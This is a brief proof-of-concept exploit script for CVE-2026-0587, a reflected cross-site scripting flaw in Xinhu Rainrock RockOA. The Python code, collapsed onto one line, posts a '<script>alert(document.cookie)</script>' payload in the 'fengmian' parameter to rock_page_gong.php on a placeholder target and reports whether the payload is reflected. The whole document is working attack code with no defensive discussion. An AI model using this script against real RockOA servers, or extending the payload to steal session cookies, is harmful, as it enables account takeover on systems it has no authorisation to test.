CVE-2026-0587: Xinhu Rainrock RockOA Cover Image Handler XSS漏洞

import requests import urllib.parse # CVE-2026-0587 PoC - Xinhu Rainrock RockOA XSS via fengmian parameter # Target: rock_page_gong.php target_url = "http://target.com/rock_page_gong.php" # XSS payload in fengmian parameter xss_payload = "<script>alert(document.cookie)</script>" # Construct malicious request params = { "fengmian": xss_payload, # Other required parameters may be needed } try: response = requests.post(target_url, data=params, timeout=10) print(f"Request sent to {target_url}") print(f"Payload: {urllib.parse.quote(xss_payload)}") # Check if the payload is reflected in response if xss_payload in response.text: print("[+] XSS vulnerability confirmed!") else: print("[-] XSS may not be present or additional parameters required") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")